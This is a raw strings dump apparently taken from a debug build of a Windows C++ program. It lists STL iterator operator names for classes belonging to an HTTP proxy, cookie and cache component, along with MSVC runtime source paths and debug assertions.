std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator --
std::vector<struct hostent *,class std::allocator<struct hostent *> >::operator []
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<void *,struct std::less<void *>,class std::allocator<void *>,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<void *,struct std::less<void *>,class std::allocator<void *>,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator --
std::_List_const_iterator<class std::_List_val<struct _OVERLAPPED_IO *,class std::allocator<struct _OVERLAPPED_IO *> > >::operator   
std::_List_const_iterator<class std::_List_val<struct _OVERLAPPED_IO *,class std::allocator<struct _OVERLAPPED_IO *> > >::operator ==
std::_List_const_iterator<class std::_List_val<struct _OVERLAPPED_IO *,class std::allocator<struct _OVERLAPPED_IO *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<struct PostData,class std::allocator<struct PostData> > >::operator   
std::_List_const_iterator<class std::_List_val<struct PostData,class std::allocator<struct PostData> > >::operator ==
std::_List_const_iterator<class std::_List_val<struct PostData,class std::allocator<struct PostData> > >::operator *
std::_List_const_iterator<class std::_List_val<struct std::pair<char *,unsigned int>,class std::allocator<struct std::pair<char *,unsigned int> > > >::operator   
std::_List_const_iterator<class std::_List_val<struct std::pair<char *,unsigned int>,class std::allocator<struct std::pair<char *,unsigned int> > > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==
std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator  =
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,1> > >::operator ==
std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator --
std::_Vector_const_iterator<class std::_Vector_val<class std::tr1::sub_match<char const *>,class std::allocator<class std::tr1::sub_match<char const *> > > >::operator  =
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\regex
std::_Vector_const_iterator<class std::_Vector_val<char,class std::allocator<char> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,1> > >::operator   
std::vector<class std::tr1::sub_match<char const *>,class std::allocator<class std::tr1::sub_match<char const *> > >::operator []
std::_List_const_iterator<class std::_List_val<class RedirectDomainRule *,class std::allocator<class RedirectDomainRule *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class RedirectDomainRule *,class std::allocator<class RedirectDomainRule *> > >::operator   
std::_List_const_iterator<class std::_List_val<class RedirectDomainRule *,class std::allocator<class RedirectDomainRule *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator *
std::_List_const_iterator<class std::_List_val<class IHttpProxyWorker *,class std::allocator<class IHttpProxyWorker *> > >::operator   
std::_List_const_iterator<class std::_List_val<class IHttpProxyWorker *,class std::allocator<class IHttpProxyWorker *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class IFileDownloadMgr *,class std::allocator<class IFileDownloadMgr *> > >::operator   
std::_List_const_iterator<class std::_List_val<class IFileDownloadMgr *,class std::allocator<class IFileDownloadMgr *> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<class IHttpProxyWorker *,class std::allocator<class IHttpProxyWorker *> > >::operator *
std::_List_const_iterator<class std::_List_val<class IFileDownloadMgr *,class std::allocator<class IFileDownloadMgr *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator   
std::vector<class CachedBuffer,class std::allocator<class CachedBuffer> >::operator []
std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator   
std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator ==
std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator   
std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator ==
std::_Deque_const_iterator<class RequestInfo *,class std::allocator<class RequestInfo *> >::operator *
std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator *
std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator   
std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator   
std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator   
std::_Deque_const_iterator<enum LightXML::ParseState,class std::allocator<enum LightXML::ParseState> >::operator *
std::_Deque_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator *
std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator   
std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator *
std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator --
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator   
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator --
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator *
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator   
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator --
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator *
std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator   
std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator --
f:\dd\vctools\crt_bld\self_x86\crt\src\xstring
f:\dd\vctools\crt_bld\self_x86\crt\src\streambuf
std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator   
std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator *
std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator   
std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator  =
std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator  =
cf:\dd\vctools\crt_bld\self_x86\crt\src\dbgdel.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\sprintf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
_CrtCheckMemory()
_CrtIsValidHeapPointer(pUserData)
_CrtSetDbgFlag
(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_CHECK_CRT_DF | _CRTDBG_LEAK_CHECK_DF) ) == 0)
_CrtMemCheckpoint
f:\dd\vctools\crt_bld\self_x86\crt\src\printf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fopen.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fread.c
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")
memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)
